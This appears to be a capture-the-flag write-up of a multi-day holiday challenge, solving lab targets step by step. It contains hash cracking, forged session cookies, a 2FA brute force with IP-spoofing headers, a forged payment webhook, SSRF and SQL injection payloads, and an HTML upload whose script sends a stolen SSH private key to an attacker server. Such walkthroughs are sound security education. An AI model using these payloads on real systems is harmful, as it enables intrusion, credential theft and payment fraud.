DAY 1 - Finding the Grinch's Hidden Lair
-
As always we visit the h1-ctf program page h1-ctf-program and find the target of this CTF.
-
We visit https://hackyholidays.h1ctf.com and we notice that the first part for the CTF is hosted at ELFMAIL Seems some phishing attack has occurred and user credentials are being harvested by the Grinch.
-
The login page that is presented will always return the same response Status code (200 OK) for any login attempt and the obfuscated JS code will return a message that the login is not currently working (it a phishing campaign after all )
-
After fuzzing for various directories and parameters, we notice that the response code will be the same even if we remove all POST parameters send by the login portal.
-
Once all parameters are removed we attempted to do another round of fuzzing with a different wordlist. To our surprise this time we discover a hidden parameter
debug
which will return a verbose error message, leaking system directories.
Verbose error request:
POST /login-store HTTP/1.1
Host: elfmail.hackyholidays.h1ctf.com
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
debug=true
- We then attempt to use the leaked information to identify potential application directories/paths. Indeed the harvest is a directory which also has directory listing enabled.
Here we can also access flag.txt which stores the flag of day 1
- The second day of the engagement presents to us an Admin login panel references in the phishing page.
- We start with content discovery and we identify that a backup directory exists. Interestingly we identify that we get different size for the directories below by running the (dirsearch.txt wordlist)[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/dirsearch.txt] This might be an insufficient attempt from the grinch to protect some sensitive files.
/backup/ -> 403 Forbidden
/Backup/ -> 200 OK
- By visiting the /Backup/ directory we discover a database file hosted there. Once downloaded we discover that the file stores usernames, password hashes and salts. However the file seems partially corrupted and the salt for the grinch's hash is not clear.
- Since those are MD5 hashed passwords, we can create a hash format and attempt to crack them with hashcat. For the first 2 users whose hashes we have we stored the following hashes in a file
5de402c02cbf657370d179808f26d450:564315833g
2309467bac72082e270195f5a43303d0:angelae
- Then proceed with hashcat which will crack the hashes in a few seconds Hashcat Command
hashcat -a 0 -m 10 hashes_day2.txt /usr/share/wordlists/rockyou.txt --force
Cracked Passwords:
bob:freedom
jim:austin
- Attempting to login with those accounts, confirms what the db.sql file mentioned. They are both locked and cant login.
- It is clear that we need to somehow obtain the password for the
grinch
account. Since we only have a partial part of the salt, we make an assumption that the grinch might have not learned from last year and still be using slightly week practices. We therefore attempt to identify potential candidates for the hash that match its pattern and that might exists in popular wordlists (yeah you guessed right, rockyou.txt)
Get potential salts that start with pare
> cat /usr/share/wordlists/rockyou.txt | grep '^pare' > salts.txt
Craft the list of the hashes to crack
> for i in $(cat salts.txt); do echo 0273f802f2882bcd5daf8f08a3fee512:$i >> hashes2_day2.txt; done
Crack the hashes
> hashcat -a 0 -m 10 hashes2_day2.txt /usr/share/wordlists/rockyou.txt --force
After a few minutes we get a successful hit which reveals that password is amaflor2
0273f802f2882bcd5daf8f08a3fee512:pareh20:amaflor2
- We can now attempt to login with those credentials
grinch:amaflor2
We get a valid login and we can obtain the second flag
- Third day starts where day 2 left us. Logged in as the grinch. A new directory exists under data. However we get the message that our user does not have enough privileges
This user does not have access to this feature
- We proceed with directory enumeration in the background which reveals the following endpoints
https://elfmail.hackyholidays.h1ctf.com/harvest-admin/user -> reveals user info, as also user role (indeed we are just assigned the `user` role
https://elfmail.hackyholidays.h1ctf.com/harvest-admin/api
https://elfmail.hackyholidays.h1ctf.com/harvest-admin/api/users
We keep note of them and proceed 3) We notice that the cookie assigned to our session is in JWT format
Session Cookie Tampering
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkltZHlhVzVqYUNKOSIsImF1dGgiOiIwMjY5NjRhZmU1NDU2MzUxYzI1ZjI3MTIwM2YyNmE0MSJ9
By decoding it we notice it has 2 parts
{"data":"eyJ1c2VybmFtZSI6ImdyaW5jaCJ9","auth":"026964afe5456351c25f271203f26a41"}
One seems to hold some data and the other seems like an MD5 which probably validates our session
Decoding the data
section reveals that it hosts the current username
{"username":"grinch"}
This gives a potential attack vector, since if we can tamper with the username
we might be able to authenticate as a different user.
However tampering with the username will not provided a valid session, which probably means the auth value is lined with the username
After various attempts to identify how the MD5 is generated (which all failed) we craft the following cookie
Forged Cookie
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkltZHlhVzVqYUNKOSIsImF1dGgiOnRydWV9Cg==
Decoded Cookie
{"data":"eyJ1c2VybmFtZSI6ImdyaW5jaCJ9","auth":true}
As you can notice we changed the auth
value to True
If the type of values the auth
parameter can get has not been defined, we can pass this value and the auth check will always validate to True, allowing us to authenticate as any user we like.
To our surprise this indeed gives us a valid session. We can therefore try to login as the other users we knew from Day 2, hoping they have higher privileges
bod
jim
- We forge a cookie for each user.
Cookie forged as Bob:
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkltSnZZaUo5IiwiYXV0aCI6dHJ1ZX0=
The /user endpoint initially discovered, confirms that we now can access the application with another user. Although both users seem to have the user
role. This means we need some other user that we currently do not know
- Since we also had discovered an /api endpoint, we expect that the username from the JWT is somehow interacting with that API (api/users). However the API endpoints do not allow direct access as the user is missing some sort of authentication
{"error":"Authentication Required"}
Given that we can forge any value in our cookie, we might be able to perform some sort of SSRF attack and make the application interact with the API. To confirm this we forge the cookie below
Username:
{"username":"../"}
Decoded Cookie;
{"data":"eyJ1c2VybmFtZSI6Ii4uLyJ9","auth":true}
Final Cookie:
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNklpNHVMeUo5IiwiYXV0aCI6dHJ1ZX0=
- By setting the above cookie, we can confirm that we can traverse within the API. In the screenshot below you can observer the decoded body of the cookie used.
- Similarly to step 6 we set the username to
"../users"
which allows us to list all users of the application and reveals a new usersup3r-grinch
withadmin
privileges
List users Cookie
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNklpNHVMM1Z6WlhKekluMD0iLCJhdXRoIjp0cnVlfQ==
- We can now forge the final cookie and access the
data
section
Admin User Cookie:
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkluTjFjRE55TFdkeWFXNWphQ0o5IiwiYXV0aCI6dHJ1ZX0=
and grab the flag
- Upon the 4th day of the grinch hunt. We now have the ability to delete the harvested credential that the Grinch has collected. Or maybe not? The grinch seems to have hardened this functionality and added a OTP that is send on his device and is required to complete the deletion of the records.
Besides not having access to the device with a number that ends to
485
there are two more problems.
- Our IP is blocked after 3 wrong attempts for a PIN
- The 2FA code with expire after some limited time
This does not allow us to directly bruteforce (or guess?) the PIN code.
- A common way to bypass such restrictions is to make the server believe your requests come from a different IP. This is possible if there the server does not append or rewrite a header (such as
X-Forwarded-For
with your original IP.
Therefore by setting a header such as X-Forwarded-For
and by rotating values we can make the server believe that our requests come from different hosts. Once the first problem is bypasses, it is a matter of speed and how fast we can go to be able to grab the 2FA code before it expires.
- First we need to grab a challenge hash from the request below
POST /harvest-admin/data/ HTTP/1.1
Host: elfmail.hackyholidays.h1ctf.com
Cookie: token=eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkluTjFjRE55TFdkeWFXNWphQ0o5IiwiYXV0aCI6dHJ1ZX0=
Content-Length: 8
Content-Type: application/x-www-form-urlencoded
Connection: close
delete=1
Search in the response for name="challenge"
and use that value in the ffuf command below
- We can now use ffuf to bruteforce the PIN for the previously generated challenge
Generate all possible PINs
> for i in {0000..9999}; do echo $i >> ~/Documents/HackerOne/hackyholidays\ 2021/pins.txt;done
Bruteforce the 2FA (change the hash code with a fresh one
> ffuf -u https://elfmail.hackyholidays.h1ctf.com/harvest-admin/data/ -X POST -H "Cookie: token=eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkluTjFjRE55TFdkeWFXNWphQ0o5IiwiYXV0aCI6dHJ1ZX0=" -H "Content-Type: application/x-www-form-urlencoded" -H "X-Forwarded-For: 10.10.10.FUZZ" -d "delete=1&challenge=e6d3dc973c17b291248cb9e8185127f0&pin=FUZZ" -w ~/Documents/HackerOne/hackyholidays\ 2021/pins.txt -t 300 -x http://127.0.0.1:8080 --fs 2451
After some seconds ffuf will return the valid PIN
And we can grab the flag
- New day and a totally new target is in scope. We visit the intranet domain where the [Staff Info] (https://intranet.hackyholidays.h1ctf.com/staff_info/) challenge is enabled.
- Visiting the new challenge page, we see Grinch's dog and some information about it. Like name,salary, date of birth etc. Checking burp, we notice that a handful of request has been send, each on of them pulling a different value. So we have the following 5 pieces of information retrieved
- Name
- Address
- Position
- Image
- Salary
- Dod (date of birth)
The request use an id
parameter, which strongly indicate of a potential Access Control issue (IDOR).
3) We proceed with our tests against each URL
**Explanation:**Simple IDOR, changing the id
value to id=1
will give us the first flag
Request URL
`https://intranet.hackyholidays.h1ctf.com/staff_info/api/name?id=1
Response
"flag_part_1":"flag{c****"
Explanation: Initial request used the c81e728d9d4c2f636f067f89cc14862c
hash which can be decoded easily and it is the MD5 hash for value 2
. We proceed with creating the hash for value 1
which is c4ca4238a0b923820dcc509a6f75849b
Request URL
https://intranet.hackyholidays.h1ctf.com/staff_info/api/address?id=c4ca4238a0b923820dcc509a6f75849b
Response
"flag_part_2":"1**-0"
Explanation: The request uses a base64 encoded value which decodes to {"user_id":2}
. By changing the value to {"user_id":1}
and encoding to base64 we can get the next part of the flag
Request URL
https://intranet.hackyholidays.h1ctf.com/staff_info/api/position?id=eyJ1c2VyX2lkIjoxfQ==
Response
"flag_part_3":"***-4a"
Explanation: The image endpoint does not use a parameter, but it seems to pull the image based on the Cookie set which is Cookie: id=2
. By changing the value to Cookie: id=1
we can get the next part of the flag
GET /staff_info/api/image HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Cookie: id=1
Response
"flag_part_4":"5c-****-**8"
Explanation: In this case trying to swap the id
value would return a message that we are not authorized to access that value "error":"You do not have access to this resource
. It was possible though to do so by change the request verb to PUT
PUT /staff_info/api/salary?id=1 HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Response
"flag_part_5":"f****"
Explanation: Similar as above chaning the id
value would return a response for not having access to that resource. We idenfitied that a parameter pollution was possible
GET /staff_info/api/dob?id=1&id=2 HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Response
"flag_part_6":"***a}"
- Putting all pieces together we get the finall flag for day5
- A new application is in scope and it seems grinch is out there for some easy money via the OnlyGrinch app
- There is an option to create an account to buy the premium content of the grinch
A lot was attempted at this point. Fuzzing for hours paths, parameters and values. As also creating emails with various payloads since we could include almost anything in the format.
"<payload_here>"@test.com
Nothing worked.
3) After a lot of fuzzing (and by keeping an eye on the discord hacker101 group). It was noted that a specific wordlist was needed. I ended up getting a hit on a new endpoint via thegolang.txt
wordlist from Seclists
.
Also within the application, the payment was handled via Stripe, which was probably a hint towards the /webhook
endpoint.
- Having now access to webhook we get a response such as
"error":"Missing Required Input"
. Therefore we need to identify the proper request body to send. - We dive in the Stripe documentation and we identify the following page that is related to API requests for payments The PaymentIntent object We can now set up a request with the body presented below. We need to change some values though:
- receipt_email : This will be the email linked to our account
- amount : Set it to the amount presented in the web application after authentication (19.99$)
POST /premium_content/webhook HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Cookie: og-token=f5ec3aa88cd9ae173b41614ee3bd7cc8
Content-Length: 472
Origin: https://intranet.hackyholidays.h1ctf.com
Content-Type: application/json
{ "id": "pi_1Dpddo2eZvKYlo2CYgGISnIa", "object": "payment_intent", "amount": 1999, "amount_capturable": 0, "amount_received": 0, "capture_method": "automatic", "charges": { "object": "list", "data": [], "has_more": false, "url": "/v1/charges?payment_intent=pi_1Dpddo2eZvKYlo2CYgGISnIa" }, "payment_method_types": [ "card" ], "receipt_email": "[email protected]", "status": "accepted"}
- Issuing the request above this time will returns
"error":"Payment Failed"
. This is a new error message, meaning we are on the correct path, but we still need to adjust some options/parameters. So we go back to the documentation and we see thestatus
parameter
From Stripe documentation
Status of this PaymentIntent, one of requires_payment_method, requires_confirmation, requires_action, processing, requires_capture, canceled, or succeeded. Read more about each PaymentIntent status.
- We craft a new request with the
status
set tosucceeded
as the following, which returns"message":"Payment Received, account upgraded"
POST /premium_content/webhook HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Cookie: og-token=f5ec3aa88cd9ae173b41614ee3bd7cc8
Content-Length: 421
Origin: https://intranet.hackyholidays.h1ctf.com
Content-Type: application/json
{ "id": "pi_1Dpddo2eZvKYlo2CYgGISnIa", "object": "payment_intent", "amount": 1999, "amount_capturable": 0, "amount_received": 0, "capture_method": "automatic", "charges": { "object": "list", "data": [], "has_more": false, "url": "/v1/charges?payment_intent=pi_1Dpddo2eZvKYlo2CYgGISnIa" }, "payment_method_types": [ "card" ], "receipt_email": "[email protected]", "status": "succeeded"}
- We can now login with our account and get the premium grinch pictures along with the flag
- New day, new challenge. Today we need to download an Android named christmaslist.apk
- We install the .apk on our device and once we open it we see a request being sent to the intranet domain
GET /api/christmasList?flag=false HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Accept: application/json, text/plain, */*
Authorization: Bearer MjJlNzA1ZDY4OWZiYzE4MTk5Mjc2NzgwNDU2MGQ0YTYgIC0K
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.1
Connection: close
- So the attack here is simple, change the
flag
parameter totrue
and here is your early Christmas present
The code within the app responsible for this is below
DAY 8 - Grinch's Hidden Gifts
- Day 8 and a new apk file awaits us 2FA App
- Downloading and installing the app on a device, shows that we need to provide a PIN to gain access to further functionalities.
- We try to examine the applications code and convert the .apk to jar view the command below
./d2j-dex2jar.sh ~/Downloads/hackyholidays/grinch2fa.apk -o ~/Desktop/grinch.jar
- We can then open and view the code with JD-Gui and go over the code. We can see a Login activity.
The code is a bit obfuscated but we can see that it attempts to call an encryption function that uses AES
from another part of the code.
- From the Login activity we can see that probably it requires a 4 digits code to give us access, The PIN code will be repeated 4 times and used to decrypt the file.
From within the
grinch2fa.apk
we can also obtain the encrypted database filedb.encrypted
by decompiling it
apktool d grinch2fa.apk
- Based on the information above we can make a loop iterating up to value
9999
and try to decrypt the file. Since this appears to be a sqlite database file we can identify it via its magic bytes. This will give us the OTP2223
and by providing the code to the application we see that tototp.db
file is created. We can read the database file and obtain its contents. the flag is base64 encoded
The script below can be run over the db.encrypted
file and will return the correct PIN.
Python script (thanks to h3x0ne for assisting on this)
#!/usr/bin/env python3
import itertools
from Crypto.Cipher import AES
n = []
for p in itertools.permutations(range(10),4):
n.append(''.join(map(str, p)))
m =list(itertools.permutations([0,1,2,3,4,5,6,7,8,9], 4))
with open('db.encrypted', 'rb') as t:
encdata = t.read()
for c in itertools.product(range(10), repeat=4):
k = "%s" % ''.join(map(str, c))
key = k*4
cipher = AES.new(key, AES.MODE_ECB)
decr = cipher.decrypt(encdata)
with open('db.final', 'wb') as n:
if (decr[0:4].hex() == "53514c69"):
print(f'pin: {k}');
n.close
Decrypted database file
Flag decoded
- Part 3 of the challenge starts and a new subdomain is in target, C&C
- We see a registration form, However when trying to register it appears that only specific domains are allowed.
- While failing to register an account with a few domains, We proceed with further enumeration. Our directory bruteforce returns an endpoint that is relevant to this challenge.
https://c2.hackyholidays.h1ctf.com/p/
- The endpoint, will require a POST parameter
email
and will return a response like the one which can be seen below. This shows that we interact with some API and there are also various versions of it (we can see version 3 below)
- Based on the information above. We identify the following endpoint
https://c2.hackyholidays.h1ctf.com/api/v3/
Since we notice various version of the API have been created we check and see that 2 more previous version exist
https://c2.hackyholidays.h1ctf.com/api/v1/
https://c2.hackyholidays.h1ctf.com/api/v2/
The endpoints above reveal a few directories but its apparent that we have no access since /users
and /checkemail
return a Not allowed
message
- This hints that maybe some issue existed on previous versioning that might have been mitigated later on. After enumerating a bit more we identify that we can traverse back on other versions of the API via the request below
POST /p/../v1/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
[email protected]
This will allow us to submit request to the version 1 API endpoints.
- So now we try to access the endpoints above. However again we receive
Not Allowed
, when trying to visit/users
. Although if we try to go deeper we notice something different when trying to visit the endpoints below
POST /p/../v1/users/1 HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
[email protected]
The response returned is
{"error":"User not found"}
So now we can actually enumerate users
8) We iterate through user IDs until we get to user ID 5
.
And we get a registered email with a unique domain
[email protected]
- We now have a good idea what the allowed domain might be. We proceed and register an account with that domain
POST /register/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Content-Length: 87
Content-Type: application/x-www-form-urlencoded
email=w31rd0%40this.is.h1.101.h1ctf.com&password=Password123!&c_password=Password123!
And we can grab the flag once we are authenticated in our newly created account.
- Using our previously created account we notice a few new sections exist within the application. There is an
uploads
directory as also asettings
. - We notice that our user permissions are
Read-Only
and it seems that we can change ourpassword
, but not ourrole
.
However we discover that even if we try to update out password, nothing happens. Similarly if we add the role
parameter to our request, we stay with Read-only
privileges. Since this endpoint seems to have no effect, we go back a bit.
3) We now create a new account and try to add a role
parameter, just in case we can set our user role upon registration.
We send the request below
POST /register/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
email=w31rd0%2B1%40this.is.h1.101.h1ctf.com&password=Password1&c_password=Password1&role=admin
The account is created. Upon authenticating we can see that now we have the admin
role.
- We can navigate to uploads and grab the 10th flag
DAY 11 - Hidden Presents in the North Pole
- Day 11, and we notice the
/uploads
endpoints has an upload functionality, that allows only .html files to be uploaded - We proceed with a file that contains some tags that attempt to retrieve content from a host we control
<html>
<img src=http://VPS-IP:port/test1>
</html>
We notice once file is uploaded we receive a request from an IP we do not own 18.219.86.178
This means that some processing happens to our uploaded file. Trying to grab easy wins such as document.cookie
will fail.
- During previous day recon we have identified that a user's home directory endpoint exists but we get
403 Forbidden
when trying to visit it and common files it might hosts (e.g..ssh/id_rsa
). https://c2.hackyholidays.h1ctf.com/~/ - We try to uploaded the file below hoping that the IP that processes our uploads might be allowed to view those files.
<!DOCTYPE html>
<html>
<body>
<iframe id="test" src="https://c2.hackyholidays.h1ctf.com/~/.ssh/id_rsa" width="1900" height="1900">
</body>
</html>
Once uploaded we can indeed see that the file is rendered as a screenshot
- However trying to extract the page contents via OCR will not be that helpful since not all letters will be extracted correctly, therefore we will end up with invalid ssh key. We therefore attempt to send the file to our server. This was very problematic, cause we rarely received any request to our server, and the file size was probably way bigger than the allowed size of a value for a
GET
parameter. The best way to do this would probably be via aPOST
xhr request, sending the file contents as the body of the `POST request, however during the CTF it seemed to be easier to work with GET requests. Therefore we tried to use the HTML code below, to split the content sent into smaller chunks. We also had to put the upload request in a loop with some rate limiting cause we only received 2 out of 15 requests send
<script>
fetch('https://c2.hackyholidays.h1ctf.com/~/.ssh/id_rsa')
.then(response=>response.text())
.then(text=>{
window.location.href='http://VPS/?key=' + encodeURIComponent(btoa(text.slice(0,500)))
});
</script>
Slowly we were able to extract the id_rsa
key. You can see below, partial parts of the key send as base64 encoded to avoid it breaking the request
-
Due to the base64 encoding, the last parts of the base64 encoded value could be decoded to a wrong value, therefore we had to redo the process with different size of slicing, to confirm all characters where extracted properly and finally we ended up with the correct key.
-
We remember that during initial recon we also had found a github config directory . Which hosted the content below
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/grinch-networks-two/directory-protector
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
So we have a github repository, which is not accessible as also all other parts of that user profile. Github can be set up to use ssh configuration, so the extracted key might be useful here.
- Running the following commands can confirm access to the github repository and we can grab the flag
Configure key
> chmod 600 id_rsagrinch
Authenticate
> ssh -i id_rsagrinch [email protected]
Get repository
> git clone [email protected]:grinch-networks-two/directory-protector
Get flag
> cat cat directory-protector/README.md
- After day11 and based on the
README.md
content from that day. We download again the github repository to see for any update. - We notice that a file has been added, called
protector.php
<?php
class Protector
{
public function __construct($codewords){
$authorised = false;
if( isset($_COOKIE["authorisation_token"]) ) {
$token = $_COOKIE["authorisation_token"];
$auth = json_decode(base64_decode($token), true);
if (isset($auth["token"], $auth["server"])) {
$authorisation_url = 'http://' . $auth["server"] . '.server.local/authenticate?token=' . $auth["token"];
$response = json_decode(@file_get_contents($authorisation_url), true);
if (isset($response["authorised"], $response["codeword"])) {
if ($response["authorised"] === true) {
if ($response["codeword"] === $this->expectedKeyword($codewords)) {
$authorised = true;
}
}
}
}
}
if( !$authorised ){
http_response_code(403);
die("Request Blocked using Directory Protector");
}
}
private function expectedKeyword($codewords){
$words = explode(PHP_EOL,file_get_contents($codewords));
$line = intval(date("G")) + intval(date("i"));
return $words[$line];
}
}
Furthermore, the content of README.md
has been update providing to us a new directory, which apparently is protected via the above PHP code.
New directory
### Something for you to check out ;)
/infrastructure_management
- Analyzing the code above, we notice that we need a few things. a. To set a cookie named authorisation_token b. That cookie has to be base64 encoded and the encoded value has to be JSON format and include 2 values:
- token
- server
c. We also notice that the server value will be inserted in the URL below and create an endpoint that will attempt to communicating with a subdomain of the server.local
network
http://' . $auth["server"] . '.server.local/authenticateAnalysing
Since we can control the server
parameter we can inject a value that will send the traffic to a server we control. This can be done by using a cookie like the one below
{"token":"test","server":"VPS:8000/\/?test="}
Once inserted into the URL above the server.local
part will be considered as a parameter and the host used to send the HTTP request will be the VPS's IP on port 8000
d. In order for the authorised
value to be set to true
we also need the server to respond with a JSON response that will include 2 values
- "authorised" set to true
- "codeword" set to a specific value that is pulled from a list of key words. The correct value is derived based on the server time and will be generated by the code below
$words = explode(PHP_EOL,file_get_contents($codewords));
$line = intval(date("G")) + intval(date("i"));
return $words[$line];
The list of potential candidate keywords can be found within the flowing code.txt list that can be found on the server.
Based on the information above we need to craft an attack that:
- Will inject our server as the
server
value in our cookie. - Our server should return a response that will include
"authorised":true
and also the correct keyword based on the server's time.
To do this, we host the following PHP code on our server. We were lucky enough to have a VPS in the same timezone as the server used for the CTF therefore we did not have to adjuct the date fucntion below.
<?php
function expectedKeyword($codewords){
$words = explode(PHP_EOL,file_get_contents($codewords));
$line = intval(date("G")) + intval(date("i"));
return $words[$line];
}
echo "{\"authorised\":true,\"codeword\":\"".expectedKeyword('code.txt')."\"}";
Then we serve the code like
php -S 0.0.0.0:8000 code.php
And craft the following cookie
Cookie:
> authorisation_token=eyJ0b2tlbiI6InczMXJkMCIsInNlcnZlciI6IjE3Mi4xMDUuWFguWFg6ODAwMC9cLz90ZXN0PSJ9
Decoded Cookie
> {"token":"w31rd0","server":"172.105.XX.XX:8000/\/?test="}
- We send the request and notice that we get a hit on our server
Our server will respond with the JSON response needed to get authorised
We notice that we can now view the protected page
- While fuzzing we identify a directory called releases which revels some information about the protection put in place for the login form.
- We notice that it will be impossible to bruteforce (or crack) the password of any user due to the implemented complexity
- There is a time delay of 5 seconds for each login attempt that will make that attack even harder.
- We also notice that a request is send to the following endpoint https://c2.hackyholidays.h1ctf.com/infrastructure_management/get_column?column=username
After a while we discover that the column
parameter is vulnerable to SQLi and we can try dumping the database which gives us a user and a hash, but as already stated there is no point on trying to crack
- Given the information above and a few hints shared by adam (the evil creator of this), We know that
- The grinch logins often in the server
- He is also affected by a time delay, even with a valid login
Based on the information above, we consider that maybe since there is a time delay, the SQL query that handles the login will be stored in some place until the 5 seconds pass and it gets evaluated.
After googling a bit we come up with the following table that is of interest
The INFORMATION_SCHEMA PROCESSLIST Table
(more info here )
The table has a column named INFO
that is of interest to us, since it seems to store the actual query. We can therefore use our SQL injection to attempt to read from that table the INFO column
- Another problem we have is that the endpoint that is vulnerable to SQLi only returns a response of 10 characters long. Therefore we ll need to adjust our injection in order to extract the content we want. the request bellow will extract the first part of the password. We can increase the second vaue in the mid() fucntion to extract more parts of the password
GET /infrastructure_management/get_column?column=mid(info,69,10)+FROM+INFORMATION_SCHEMA.PROCESSLIST-- HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Cookie: candc_token=d7f97196a4a18de63ed841abbea89fd8; authorisation_token=eyJ0b2tlbiI6IlwiPjxpbWcrc3JjPWh0dHA6Ly8ydHd1Y2cyMGR2aDRqbDl1cThxOGt6OGVmNWwzOXMuYnVycGNvbGxhYm9yYXRvci5uZXQ+Iiwic2VydmVyIjoiMTcyLjEwNS5YWC5YWDo4MDAwL1wvP2Zvbz0ifQ==
Connection: close
We continue to attempt to capture the login query by the grinch since he logins every 1 minute and we end up with the password below
Grinch Password
Yo9R38!IdobFZF6eFS3#
After finishing the CTF it was identified that the flag could be extacted with just one request (credits to Jeti for this)
GET /infrastructure_management/get_column?column=mid(info,71,10)+FROM+INFORMATION_SCHEMA.PROCESSLIST+where+state+like+'%25sleep'+union+all+select+mid(info,81,10)+FROM+INFORMATION_SCHEMA.PROCESSLIST+where+state+like+'%25sleep'+union+all+select+mid(info,91,10)+FROM+INFORMATION_SCHEMA.PROCESSLIST+where+state+like+'%25sleep'+and+info+like+'%25grinch%25'-- HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
- We can login now with the credentials
grinch:Yo9R38!IdobFZF6eFS3#
And see the panel for the successful attacks the grinch made
We can then Burn Infrastructure
and grab the flag